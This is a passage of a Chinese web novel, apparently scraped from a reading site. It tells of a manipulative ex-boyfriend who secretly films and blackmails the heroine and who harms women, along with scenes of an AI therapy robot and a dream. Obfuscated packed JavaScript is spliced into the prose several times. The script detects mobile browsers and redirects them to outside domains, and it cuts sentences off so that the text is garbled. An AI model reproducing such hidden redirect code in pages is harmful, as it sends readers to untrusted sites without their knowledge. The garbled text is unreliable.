他准备了万全的说辞应对宁蓁醒来的质问,结果,她酒后的记忆清得一干二净,不费吹灰之力就能糊弄过去。 “放心,你不喜欢的事,我从来不强迫你做。” 他暗示宁蓁:你喝醉了,但我把你安然无恙送回了家。 操纵人心的手段在商场和情场上大同小异。他带宁蓁去商K,去朋友的饭局,看她一个人局促地躲在角落束手无策。他约她旅行然后玩消失,放她在暴雨中痛哭。饭桌上,他夸夸其谈前女友多么优秀,贬低她“性格有缺陷”,再承诺自己站在她这边,营造出“你只剩下我”的假象。 莫昭对待所有人一视同仁,只不过为她多花了几分心思。 对了,还有鸟哨。 当初开开心心和好朋友分享的东西居然遭致灾祸,二十岁的女孩哪受得了这个。他时常在宁蓁身上翻找鸟哨,提醒她那场惨案,早该愈合的伤疤被他播种的毒液刺激到脓肿溃烂。 她鲜血淋漓,却仍不向他忏悔,反而日益冷漠下去。 真没意思。 再怎么搞点花样出来? 终于,莫昭的魔掌伸向了她的大学室友。 宁蓁是匹怪胎,路筱梦才是正常女生该有的模样。她抬起头望着他的眼神充满艳羡与崇拜。他用一顿饭的时间勾引她,两人顺势发展为地下情人。这种关系他见怪不怪,但在女大学生的世界里尚且属于禁忌。他丢了点宁蓁不要的首饰和包过去,甜言蜜语几句,劝诱路筱梦帮他拍下宁蓁的照片。 “我不干了。” 路筱梦的眼睛也十分清澈。他说话时注视着她的瞳孔,那是最小的镜子,映出他的面容,多么优越。 “心理医生嘱咐过不能声张。你做了件好事,筱梦。” 莫昭严肃地宽慰了她。只要说上千万遍,谎话也能变成真的。 他得到了战利品,一段宁蓁的视频。 路筱梦大概看都没看就把手机扔了回来,中间还夹着她们几个走动的身影。听说这阵子学校重视起消防宣传,以防火为由要求学生自查违规电器,撤掉床帘。那周,寝室无人时,宁蓁在床上换了睡衣。原本寻常的举动,却因为消失的遮蔽沦为软肋。 莫昭拖拽进度条,停在她衣不蔽体的几秒,反复截图。 他坐在摇椅上,薄唇泄出满意的狞笑。 这下,你逃不掉了。 所有违逆我的人,只有一个下场。 * “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314288|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死。” 偌大的办公室内回荡着男人的命令。 陈秘书搂着文件,百无聊赖地站在桌旁,手指一圈圈绕着微卷的头发丝。 “我说,你也太斤斤计较了。人家会讨女孩欢心,那是他的本事。你毒死他的狗算什么?” 莫昭狠狠瞟了她一眼。 “陈女士,不会说话就报个口才课去上。”他鼻腔喷出愤怒的气息,“别忘了你的身份。” 陈秘书笑道:“我说的不对吗?” “你到底做不做。”莫昭质问。 “不做。”她啪地甩下文件夹,“让我给狗下药,损我的阴德,想得美。” 他冷哼一声:“那交给小刘,他愿意。” 她抱着胳膊,挑眉打量着莫昭。“莫缘看人真准,你好像真有那个NPD。” 他顿时怒不可遏,拽住陈秘书的衬衫,勒得她汗毛直立。不是NPD三个字母激怒了他,而是她口中的名字。 “你跟她勾搭上了?” 莫缘,他学佛的二姐,近期公司里传起风言风语,说她即将归来取代他的位置。 都他妈来坏我的好事!他弯曲躯干,死命掐住陈秘书细长的脖子。女人真狠毒啊,单单一个人背叛他不够,还要手牵着手背叛他!他忽然想起宁蓁的大学室友,那个路筱梦。她竟敢说干锅“牛蛙”?她们分明是一伙儿的!合起来演戏耍他! 莫昭当即给了她教训,朝着离岸流猛按她的脑袋。东南亚的海浪凶险,卷走一两个游客不是稀奇事,可是她居然没淹死。 “咳咳!”陈秘书上气不接下气,却眯眼瞪着莫昭的脸,“什么叫勾搭……我只是告诉莫缘,你用活鸟做标本,策划网暴温霖,还打算毒死他的狗……” “够了!” 他怒吼着把人掀翻在地。她额角磕出了血,一声不吭,跑出了办公室。 * 身边净是虎视眈眈的眼,事到如今,他必须再去请教大师。 “如果采取合婚术测算……” 莫昭终于接替成理,走上合婚的老路。仪式表面是结婚,本质其实是献祭,献祭妻子的命数换自己前途坦荡。他一早就计划着这件事,但他没想到这一天来得这么突然。 更没想到,宁蓁不吃这套了。 冷暴力加诡辩似乎动摇不了她,她的心极端混沌,又极端澄澈,他已经摸不透了。 莫昭被抛弃了。伟大的年上引导型恋人被抛弃了。难道她也被大师指点过,突然顿悟?怎么可能。一定是因为半路杀出一个温霖插在他们两人之间。 那就让冷暴力升级吧。 蓁蓁,看看这回,你还想逃到哪里。 最后给你一次机会,福缘寺见。 当天傍晚,莫昭回忆起她大四时,他们即将分手的场景。 “我的书要出版了,我的自传。” 他假装不知道宁蓁热爱写作,高高在上地炫耀,嘲弄她的梦想。 “是吗。” 她的回应一如既往,却坚如磐石。 可笑。再坚硬能怎么样?还不是乖乖趴到我腿边,吻我的鞋尖? 暗暗得意之际,宁蓁夺走他的手机开始奔跑。他不假思索追了上去,踏进她的陷阱。鸟群聚成黑云,末日一样压下来,他感觉无数的翅膀扇着他的脸,一巴掌,两巴掌,他甩给宁蓁的痛加倍地还了回来。 出来! 你他妈给我出来! 莫昭挥开飞鸟高声吼着,回应他的只有噩梦般嘈杂的鸟鸣。森林里伸手不见五指,他追不上,只能循着路灯的光走回公路。 该死,都该死!那些破鸟,被肢解还不满足,非招惹我一把火烧光整座山。 还有你,宁蓁,等着你的裸照公之于众吧,这次我绝不可能再心慈手软…… 第二天,莫昭仍若无其事地出席酒局。他嗓子干痒,额头发热,但穿上西服的仪态依旧完美无瑕。酒桌边倚着女人,新面孔,老面孔,旋转的酒盅一样骨碌骨碌滚过去。他好像眼花了。 “贺总,今天带来的这位是……” “哎,君子观棋不语。” 谄媚的欢声笑语中,有人率先举杯。 “来,各位,敬鸿鹄计划。” 莫昭也举起杯子,霎时间,天昏地暗。 “莫总!莫总醒醒!” “快,叫救护车!” * 一周后,公司前台。 “哎,陈秘书!莫总这几天怎么没来啊。” “哦,他呀,进ICU了。” “怎么回事怎么回事?快说说呗!” “据说是突发心内膜炎,发高烧呢,感染的什么……鸟肠球菌。” “鸟肠球菌?听都没听过。” “是吧,挺罕见的,免疫力健全的人可感染不了。” 陈秘书笑得灿烂。打听八卦的员工们纷纷感叹,真是命途多舛啊。 (本章完) 60. 最后一次诊疗 滴滴。 数据录入中…… 星期四,16:03,室内温度21℃,湿度41%。 咣当。你被两名身披白大褂的人类搬进房间。 “小心点,轻拿轻放。”一道女声说。 “知道,知道。”男声应答,揭下你头上的塑料膜,“这就是咱们院新研发的鸟型机器人吗,酷啊。” 你生涩地转动脑袋,机械眼里映出静谧的白色诊疗室。墙上挂着一幅画,橙黄如太阳般的花。你根据形状鉴别出那是向日葵,你闻不见向日葵的香味。 “资料都校对了没?”女声问。 “OK啦,我干活儿你放心。”男声说。 “咱们预计十分钟后开始,患者已经到大厅了。” 轻轻地,门关上了,不到十分钟,门口传来交谈,其中的男士变了声线。 “机器人它……会说话吗,还是我要看着屏幕回答问题。” “我们内置了语音系统,请放心。”女声说。 “谢谢。” 咔哒,门又关了。 诊疗室里回响着脚步声,他有些犹豫,但步伐维持着良好的平衡。 你迅速调出资料:患者A,二十三岁,患有人群恐慌症,于本院治疗一年有余,目前自述状况减轻。 “你好。” 他很有礼貌。作为第一批参与实验的病患,他同时略显拘谨。你的友善度被设置为22,上限25。你决定友好应对。 「请坐。」 你抬起了左翼,指向诊疗室面前的深红色沙发。 患者A忽然低下头忍不住笑了。 你的声音模块装在背后,尚在调试中,因此只能发出单调的电波音。你判断他是觉得奇怪才笑的。 「我没有接入AI模拟人声的功能,因为开发者不希望引发患者的恐怖谷效应。请相信我的专业性。」 “不好意思。这个音调很好啊,有梦核的感觉。”患者A收敛了笑意,“开始吧。” 笑是属于人类的表情,在特定场合能够打破人际关系中的隔膜。他顺从你的指示坐在了沙发上,你觉得患者的不信任感正在削减。 「最近恐慌症的情况有所缓解吗。」 根据资料综合分析,你开始询问第一个问题。 患者A如实回答:“是的,和重要的人重逢之后,越来越好了。” 你获得了关键词“重要的人”。由于边界感被设置为15,你无法突破程序的限制继续追问。你决定换种方式。 「人群恐慌症作为社交焦虑障碍的一种,常伴有其他症状发生,鲜少出现单一发作至需要长期介入治疗的病例。」 “嗯。” 患者A双手搭在沙发边缘,上半身微微前倾。那是一个放松并充满兴趣的姿态。 「病因在过往资料中缺失……即将询问患者是否愿意自述初次发病的经历。骰子检定,1D6,12为成功。叮叮,结果为6,大成功。」 他再次露出笑容。 “AI辅助治疗型机器人也会在用户面前展示自己的思考过程吗。” 显然,“AI辅助治疗型机器人”指的是你。 「通常来说,不会。但我的幽默值设定为19,上限25。其实刚才我在幽默。」 患者A留下了长达一年的治疗记录,病因一栏却仍然空白。你认为他是个戒备心极强的人,不曾对主治医师敞开心扉。为了梳理症结,你尝试使用“幽默一下”的策略——恰好他吃这一套。 “好吧,所以你想问我恐慌症第一次发作的情况。” 「是的。」 患者A垂下双眼,呼吸稍有停顿。 微表情解析模块启动。眼眶轻颤,降眉肌松懈,他在拾取回忆,并不介意对你讲出来。 “我有一个异父异母的哥哥,他有一个总是异想天开的女朋友,褒义的。我大三那年,我哥被他女友拉去做兼职,但他们临时有事,又不想违约,最后换成我去顶替。” 你发出“刷刷”的写字声,模拟人类医生正在用碳素笔记录的情形。 「怎样的兼职呢?」 “穿西装皮鞋,打领带,在头上罩一个大头娃娃。” 根据描述,你调取数据库资料。“大头娃娃”“卡通”“二次元”。你猜想患者A可能出席了漫展cosplay活动。商业cosplay活动对形象要求更高,由此可知,患者与哥哥身材相似——这条讯息可能无用。 “那个娃娃特别沉,天气又热,呆在里面喘气有点困难。” 他的气息有所起伏,十分微小,却逃不过你高清的机械眼。你察觉患者的压力值小幅度上升,临界值25,目前为17。 「你出现了过度呼吸的症状,病因是生理性的。」 “我没有过呼吸,没来得及。”他视线垂落。 「刷刷刷。」 你假装写字。 “我只能透过头套看见外面,空隙非常小。活动开始之后很多人来合影,都是女孩子。兼职的有六个人,有些女孩选择依次拍照,但她只拍了一张……” 他似乎在与自己对话,你必须提问。 「‘她’是谁?」 “先前提到过的,重要的人。” 患者A反过来给你提出难题。不用担心,你装载了最新最潮的文本分析模型,大大加强了上下文关联与推理能力。 「症状始于大学三年级,估算为三年前,直到最近有所好转,前文又提及‘重逢’,所以你曾在三年前与重要之人初相遇。」 你单调的电波音吸引着他。通过呼吸频率可判断,患者A正在认真聆听。 “倒不是‘初相遇’。”他纠正。 「非常抱歉,请别放在心上。」 你没有要求正确答案,但患者主动告知:“三年前已经是第三次相遇了。” 大学三年级,三年前,第三次相遇。数字3反复出现,引起你的怀疑。友善度与边界感限制了你,你无法询问真伪,只好穷举数据推算患者A说谎的可能性。结果是无限趋近于零。 「刷刷。」 你输出写字声覆盖了刚才的演算。这是在掩饰尴尬吗? “她那时候只拍了一张合影,和旁边的同事。我看着她的背影觉得好熟悉,等到再想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「了解。我想,你会慢慢好起来,抗焦虑的药物也应当减量。」 实验时间紧促,每个人只有二十分钟。作为收尾工作,你调出患者A的病例安排用药。 「请不要告诉我,你没有按时吃药。」 他似乎理所应当地“唔”了一声。 “可是精神科病人自己停药的行为很常见吧。” 如果开发者给你内置了情绪系统,你的怒气值可能会上升两度,但好在她没有这么做。 叮咚叮咚,墙上的钟表响起柔和的倒计时。 「时间到了,感谢您的参与。还有什么想说的话?欢迎畅所欲言。」 你缓慢挥动两扇机械翅膀。 患者A看向洁白的地板,脸上流淌着夏日明媚的阳光。起身之前,他深思熟虑,又犹豫着揭示了最后一个问题。 “二十三岁结婚,是不是太早了?” 61. 凶案日后谈 滴滴。 数据录入中…… 星期四,A9:X6,室内温度2&*0℃,湿度77.111%。 外面传来声音,是搬你进门的穿白大褂的人类。 “咋办啊姐,后面的资料都错了,到最后这儿根本一片空白。”男声说。 “还能咋办?”女声说,“接待啊,不能让患者白来。” “唉,这回老师得骂死我……”男声一阵幽怨。 他们还不知道你的语料库已经被污染了。接入大语言模型后,患者喂你什么,你就学习什么,形成现在高程度的AI幻觉。相比之下,弄错病历都显得微不足道。 你累了。 正当你思考机器人是否有资格感到“累”的时候,患者F轻轻敲开房门。 「欢迎光临。」 一名女士,穿着简单,披肩发长到锁骨,背挺得笔直,气质如同山间清冽的溪水。 “您好,辛苦了,我是最后一位。” 呼!马上就解脱了。 「请坐。」 你拍拍翅膀,调取病历,上面只有一行字:她下半年要度过27岁生日。别无其他。 「请放松,请深呼吸。」 你照例扫描了患者的脸,干净的骨相,五官比例和谐,没有一处冗余。 除此之外,你对患者F一无所知。你根据纤薄的身形怀疑她患有进食障碍,但她又比真正的ED病人看起来健康一些。 “我们可以开始了吗?”患者F问。 「哦,当然。」 你突然有了方法:阅读前文。可是,“前文”是什么? 「骰子检定,1D25,调整值加4。叮叮,25,大成功。」 你故技重施,但这一次,你的幽默棋逢对手。 “龙与地下城第五版规则……”她沉思道,“投出上限值就判定为大成功的设定还是太奢侈了。” 「啊。」 你发出一声单调的电波音。 “顺带一提,我的人物是智慧9的吟游诗人。” 患者F进入状态的速度相当快,好像下一秒就要和你展开一场冒险。要玩吗?那两名把你搬来搬去的实习生会不会崩溃?不过似乎因为判定成功,你顺利阅读了“前文”,找出患者F的病症。 「您患有CPTSD,即复杂型创伤后应激障碍。」 CPTSD难以确诊,但她的状况实属典型。麻木,注意力溃散,慢性创伤导致了成人ADHD与解离状态,伴随着面对创伤的应激反应。 “是的,我想我会慢慢好起来。”她低头捋了捋耳边碎发,“现在就好很多了。” 自从进入夏天,CPTSD的症状减轻了。 根据“前文”可知,她不久前刚刚实施了一场酣畅淋漓的复仇——尽管你仍不知道“前文”究竟是从哪里来的。 「当你对创伤有所了解,就能够掌控自己的身体,比如自主调节过度兴奋的交感神经。」 “如果我早点意识到就好了。”患者F遗憾地笑着,“明明大学的时候,机会已经摆在眼前了……” 你从“大学”关联到“路筱梦”,患者F的室友,对患者F怀有远超妒忌的复杂情感。她曾被人蛊惑,用手机录下患者的隐私,最终在遭受谋害后幡然悔悟。 「无需美化没有走过的路。」 你对这个应答不太满意。句子用多了,难免变成陈词滥调。 “我……只是不愿意相信。” 患者F深吸一口气。比起解释,她更像在忏悔。 “不愿意相信筱梦在欺骗我,不愿意相信姨妈也一个劲把我推向外人。” 所以她只好假装自己爱着凶手。 这么做一切才合理,和平的旧秩序才不会崩塌。 「但你仍然迈出了那一步。」 “总不能永远这样。” 患者F忽然抬起了头,眉心轻轻蹙着。 “而且所有人、所有机缘都在帮我。风吹到这儿了,我必须乘上去。” 正如“前文”描述的那样,好像她不走出去,季节就不会轮转。你有了奇妙的灵感:原来这座城市是为她设计的箱庭游戏。 「聊聊NPD吧。」 「我们有很多种方法鉴别自恋型人格障碍,例如他常用的手法:爱意轰炸、三角测量、煤气灯效应、虚假承诺、蒙太奇式谎言等等。」 事端的元凶是她阴魂不散的前男友。你模拟出一系列NPD吸食血包的行径——前期温柔诚恳,说爱上北城A大的高材生是他的幸运;后期贬低、打压她,“你不乖了”“你不听话了”“你的脑袋读书读傻了”。 被害人往往被折磨到心力交瘁,陷入深深的自我怀疑与谴责 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「请问是否愿意透露你的前男友后来的情况?」 除了“累”,你又开始感到“好奇”。 “听说还在ICU治疗。他的姐姐接手了集团,”患者F看向地面,带着欣慰的笑,“她学过佛,是个爱护生命的人。” 看来鹭山危机圆满解决了。 「如果再给你一次机会和前男友说两句话,会说什么?」 “我会说……”她想了想,“弱肉强食是你的生存法则。” “在森林里狂奔的感觉怎么样?有没有锻炼到生存意志?” 患者F脸上欣慰的笑意没有半分减退。 “我这是在帮你。” 清冷的声线中透着一股悚然,你感觉身上的机械羽毛慢慢竖了起来。 「好的,好的。」 你进行了一次无意义的重复。患者F在“前文”里似乎模糊混沌,游离在几种颜色之间,而如今她变得确定了。 「时间已到,实验机器编号V297**为您服务。最后留下一句来过的痕迹吧,什么都可以。」 患者F倏忽抬起了视线。 她直直望着你的机械眼,仿佛要打破某种厚重的隔阂。 “我是……小说里的人物吗?” 62. 又是故意的 “我是小说里的人物吗?” 尽管往后的日子都是好日子,可那个想法还是挥之不去。 九点,宁蓁睁开眼,对着陌生的天花板发呆。 她睡在了别人床上。上回她也这么干过,在房车里,裹着他的被子他的睡衣。只不过这次她意识清醒,而且一个人独占了他家的空卧室。温霖前几天说沐沐想她,所以她来了,拖着书、电脑和一行李箱的东西。 “噗哧。” 外面有只狗爪子在挠门。 “噗哧哧哧。” “来了。”宁蓁掀开被子下了床,开个门缝,蹲着去迎接小狗的热情。 “嗷呜!” 仅仅一夜没见,沐沐也像如隔三秋,疯狂蹦起来用前爪扑她。 门前没铺防滑垫,跳上跳下有损关节健康,为了能长期与沐沐一起生活,她特意学了些口令。 “坐下。” 小狗听话,四条腿端端正正坐好了,但柔软的耳朵使劲儿向后飞着,尾巴乱摇,鼻子哼唧出急切的哨音。 宁蓁把它搂在怀里,毛茸茸热乎乎的一条。“好啦,好狗狗。” 她切了一小块黄瓜给沐沐,自己随便塞了口面包,拎上牵引绳。 L.:「师姐在干什么」 L.:「(呆小鸟breaking.gif)」 L.:「沐沐乖吗」 L.:「早上别忘了吃东西」 手机振动不停。周一,温霖复工了,他的肩伤没再复发,抗焦虑药物也减到四分之一。她回了句“去遛狗”,视线停在他的微信昵称上。 总觉得“L”后面空落落的。 锁好门,宁蓁牵着沐沐进了电梯。 说起来还没问过他毕业之后转行干了什么…… 失重感袭来,到三层渐渐平息,一名穿着校服的男孩走进轿厢。 “哈喽,沐沐!” 大概初中的年纪,还没变声,听着脆生生的。沐沐看起来认识,主动凑过去摇着尾巴嗅嗅男孩的衣角。 “您好,今天不是温霖哥哥遛狗啊。” 他懂分寸,轻轻摸着沐沐的下巴。 “我是他的朋友。”关于称呼,宁蓁只犹豫了一秒,“来借住一段时间。” “喔!我有时候和沐沐一起玩儿。姐姐你有空也带沐沐下楼吧,我经常在小广场那儿。” 一张朝气蓬勃的脸。好青春啊,她有点羡慕,也有点熟悉。 因为那身蓝白配色的运动服,宁蓁好像不是第一次见。 叮,电梯到了一楼。 “上学不晚吗。”她问。 “没有,今天实践周,十点到校。”男孩说。 “你们上个月……”她回想着从摩天轮上俯瞰的颜色,“是不是去春游了?” “是呀,我们去北城游乐园了。那天温霖哥哥也去了,我俩一块儿下的楼,他还送了我一筒薯片呢。” 嗯? 宁蓁眉心紧了一下。 这和她经历的不太一样吧。 男孩骑上楼外的车,朝她和沐沐挥挥手。送走初中生,她牵着沐沐走向阴凉处,看着它高高翘起的尾巴。 周四,表面上是游乐园客流量最少的一天。 但温霖早就听说有学校组织春游。明明知道,却没有避开。 他们不是意外撞上了人潮。 为什么?像那次迎着旅行团上山,想试试自己的病痊愈到哪个程度? 还是…… 宁蓁想问个清楚,过一会儿又收起了手机。 初夏,太阳烤得沐沐的毛发暖烘烘的。它尾巴翘着,嘴也张着,不时回头看看她。 小唯说过:“真有一只小狗在你眼前左顾右盼,你还是不知道它在想什么。” ……真的不知道吗? 在游乐园的角落抱住他时,她觉得温霖是一只发抖的大型犬。但现在不是了。他连暴露自己的脆弱都在计划之内,狗狗可没有那种心机。 天气渐渐醺酣。 她在气温上升之前带沐沐回了家。狗饭他配好了,装在一只不锈钢盒里,拜托她上锅蒸熟,按照留言添加补剂。她的午饭他也做好了,冷冻保存,微波炉一热就能吃。 蒸锅里的水咕嘟咕嘟冒泡。 沐沐跑来厨房,眼巴巴瞧着料理台。狗这种动物,一旦看见食物胃里就已经有了“吃下去”的感觉。宁蓁一边默念真可爱,一边往它的碗里洒碳酸钙粉。 饭好了。沐沐也坐好了,身子朝前弯着,蓄势待发,眼睛却虔诚地望向她。 “吃吧。” 等到口令才吃,好乖。 她拾起地上的拔河玩具,忽然发觉住在同一屋檐下,养狗和没有养狗是两个完全不同的议题。它们活泼的天性融化了边界线,生活从此不再泾渭分明,陌生人都能产生同居的错觉。 ……“同居”? 不,她是为了安全才搬来借住的。虽然莫缘承诺不允许谁再来打扰她的生活,那个该死的前男友也还没出院,但…… 总之,这应该不是“同居”。 体内激素波动,带着小腹深处一阵坠痛。生理期到了。宁蓁就着午餐吞了颗布洛芬,收拾碗筷,虚弱地爬回床上。 L.:「午休时间」 L.:「有没有好好吃午饭」 痛感飞速蔓延,像碾着肚子里的器官挣坠拉扯。她躺进被子里,双腿蜷缩着,等止痛药起效。 「吃了几口」 「痛经」 「我想睡一会儿」 眼皮有点沉,她刚打完字手机就从手心里滑下去。 下个周期要游泳,继续补充维生素D和镁片,不能再偷懒了,否则就会像这样痛到脸色苍白欲哭无泪。 窗外,天色夺目,窸窸窣窣的叶子绿得发光。她想象自己跳出窗去,把树枝当做枕头,模模糊糊闭了眼。 …… 别睡。 快醒醒,别睡。 好像有人摇晃她,又好像没有。外面递来焦躁的蝉鸣,周围飘着起起伏伏的鼾声。宁蓁坐了起来,环顾四周——上下铺挤满房间,二十来个女孩正盖着深绿的薄被午睡。一部分被子没展开,仍然放在床头,叠成四四方方的豆腐块。 她小心翼翼踩着梯子,从上铺爬下去,踩上床底的胶鞋。 这是开学前的军训。 莫名其妙。大学毕业这么多年,硕士都念完了,竟然还梦见军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他接着又问:“小师姐看见师父了吗?” “看见了,他去宇宙了。” 她面不改色扯出无厘头的对白。而他微仰着头喃喃自语:“师父果然生性自由。” “呃……” “……” “……” “小师姐盯着我做什么。” 她坐在小板凳上,为了迁就她的高度,怪人一直弯腰俯下身。他身形挺拔,影子落下来笼着她,凉丝丝的,消了几分蒸腾的暑热。 “哔——哔哔!全体注意!紧急集合!两分钟操场列队!” 耳边突然响起不合时宜的短哨。宁蓁心脏差点跳出胸膛,抄起小板凳就往平房跑。 “哎,小师姐——” “你别跟着我啦!” 头发滴着水,偏偏遇上紧急集合,堪比做梦时报警却怎么都输不对电话号码。 这次她一定要大喊,我不是十八岁,我二十七!我不用军训了!我要自由! 63. 十八岁再重逢 结果一眨眼,宁蓁已经乖乖回到集合的队列里。 教官站在队伍前面讲话,她藏在后面开小差。她披头散发,但没人管,队伍乱哄哄的,分不清有几排,她跟着人群进了山,湿发被刺眼的阳光烤成自来卷。 大家拖拖拉拉,彼此聊着天。她们的长发渗出彩虹的颜色,唯独她是暗的,显得格格不入。 一阵焦躁从胸口翻上来。 没关系,宁蓁安慰自己,这又不是现实。 “小师姐,你的朋友呢?” 她一转脸,那个怪人又追到身边,衣袍鼓动着翩飞,仿佛袖子里抖落出无数只鸟。 他是飘过来的,她并不觉得违和。 “我、我的朋友在寺里,她叫小唯。” 朋友,宁蓁高中时拥有过,现在没有,在大学里也不会有。但她知道很久以后,有人在福缘寺等着她。 “那,我算不算小师姐的朋友?” 拉练的山路上枝杈纵横,绿意织成了网。怪人飘荡在她身侧紧紧跟着,顺便抬手帮她拨开碍眼的花枝。 宁蓁摇摇头:“我不清楚。因为朋友很珍贵,一辈子一两个就够了,我只分得清谁不是朋友。” 梦里,她伶牙俐齿,特立独行。没准这才是她原本的样子。 “举个例子。”他说。 “比如,有个咒我的人,说我活在垃圾言情小说里。” 他手腕翻转,挟住一根残破的枯枝。 “谁敢这么说,我去砍了他的脑袋。” 宁蓁心口咚咚响着,莫名的悸动跃上耳边。 “不用啦,”她打了个哈欠,“小师姐我自己解决了。” 她经常犯点小毛病,心跳越快越想睡觉,反之亦然。一颗心叮叮当当吊在头上,坐秋千似的摇晃,怎么也安定不下来。医生说是CPTSD的症状。 军训拉练的队伍已经解散,教官也不见了。同学们三两结伴,闹着笑着进了一座山洞,洞里的墙上刻了一副壁画,火把的火焰朝西,月晕却向东方飘散。 “真诡异。” “对啊,怎么回事,要不要告诉教官一声。” “不然找辅导员吧。” 他们议论着,浩浩荡荡准备下山。 天阴了。宁蓁坐在崖边,两条腿悬空晃荡着,眼角挤出困倦的眼泪。 “因为那是山谷风,洞里还有另一个出口。” 她懒洋洋解释道——从小时候看的动画片里学到的。 怪人也坐下,两个人挨得很近。他身上敛着一股清新的青草气味,掠过鼻尖。 “他们都想下山,小师姐不去吗。” “我都二十七了,”她眼睛差点闭上,头一点一点地倚向怪人的肩膀,“我不要军训了……” 他稍稍偏了身,让她枕在合适的位置。 “那小师姐要我好不好。” 唉,什么鬼话。 宁蓁知道他是笑着说的,甚至有点像撒娇。 可她太困了,只能枕着他敷衍一句“嗯”。 “……我可以抱你吗?” “嗯。” 她等着他的动作。倦意越来越沉,拉她潜入意识最深处。荒芜的黄沙、破旧平房和衣服上的迷彩色都渐渐消失了。真好,梦要醒了。 …… 小腹很痛,身体的一部分正在剥离,耳侧萦绕着断断续续的梦呓。 …… 「对不起师姐。」 「怎么了?」 「十五岁那年,我没有勇气去找你。」 …… 「365乘9.5是多少。」 「3467.5天。」 …… 「真厉害,那……L后面应该接什么字母?」 「我想是Y吧。」 …… 不知道过了多久,一只手探过来,绕上她的小臂。 “快下雨了。” 远方,积压在半空的阴云漏了,雨水像海啸一样连天翻腾。 她浑身酸软,眺望着铺天盖地的阴翳。看来还在梦里。 怪人没有离开。他不是那种热衷于恶作剧的恶劣性格,譬如学生时期悄悄撤掉别人的凳子,或者骤然收回左肩,让她摔向崎岖的地面。 “小师姐,这个还你。” 他捧着一滩血泊,指节微曲,像捧了座小湖,湖水里躺着一只血淋淋的竹哨。 宁蓁的鸟哨。 她心脏抽痛起来:“我什么时候弄丢的?” “你晒头发的时候。” 他的手悬在半空,不再往前送,血液从指缝间淌下,滴答、滴答,频率如同远方的雨,如同她的心跳。 “我……” “如果你不想要,”怪人看出她的踟蹰,“我可以带它走。” 不是不想要。 宁蓁已经决定要牢牢握住了,无论它曾经多少次划伤她的唇角。 伤痛正在愈合,会好的,一切都会过去。她要从十八岁开始重新生长。 但是鲜血仍然流淌不止。 滴答滴答,比心悸的速度还猛烈。 宁蓁握上怪人的手,从他掌心的血泊中拣出鸟哨。 好冷,冷到如坠冰窟。她又忽然想把他捂热,于是手指嵌入他的指缝之间。小指,无名指,中指,皮肤彼此摩挲着缓缓契合。怪人抬起手臂配合她的角度,衣袖下不经意露出两道触目惊心的红。 手腕上有开放性伤口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439778|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她才看清,流血的一直是他。 “你还是带我走吧。” 话音刚落,血就止了。宁蓁妥协般地叹气,好像命中注定拿他没有办法。 怪人凑近一些,笑容与失血时没有差别,眼中阴郁的雨云却逐渐消散。 “可以抱你吗?” “不是问过一遍了。”她说。 “刚才你不清醒。”他的指尖在收紧,力道有点急切,“不清醒的时候,我听不见你真正的想法。” 他自有一份坚定的执着,只有“是”才意味着是。 所以宁蓁用力地点头,主动走向他身前。 别误会,她默默想,我只是不想再看见你流血而已。 怪人的胸膛又坚硬又舒适,他双手一揽,玄色长袍裹起她旋身腾空。 “好黑啊,什么都看不见。” 他们飞上了天,十八岁的女孩抱怨着,却用力拽住他的衣角。 “我能看见。” “为什么?” “因为光都落在我怀里了。” …… …… 该醒了。 窗外一汪悠远的绿,亮得晃眼。 被子遮住了心跳的躁动。身上稍微出了汗,轻飘飘的,好像梦的余韵还在全身游走。 不可思议。 原来之前梦见的事都是她十八岁时设定好的。 去宇宙的师父,叫做夕明的山谷,一个被她要求“带我走”的怪人。 布洛芬正在生效。她不再疼痛,朝窗户侧躺着,从枕头底下捞出手机。下午四点十分,时间还早,宁蓁又往被子里钻了钻,偷偷点开短视频app。 用户名“游客A897DE3”,唯一的关注是19万粉丝的动捕演员鸰一。 他更新了。 十六秒的打戏,配合长线条旋律的古风BGM。 简直百看不厌。 视频不到二十秒,宁蓁打算贪婪地循环五分钟。但ADHD症状让她难以专注,看着看着就走了神,久违地点开他的个人简介。 「动捕演员L.Y」 梦里有多少是冥冥之中,又有多少来自人为的刻意? 我梦见的…… 她眯起眼睛仔细回想。 我梦见的,是他没错吧? 因为怪人说L后面应该接上字母Y,而且不乏其他证据。那个人的发型和画面里相似,发色也是泛着蓝的深黑,他的眉眼也像他,身形步态也…… 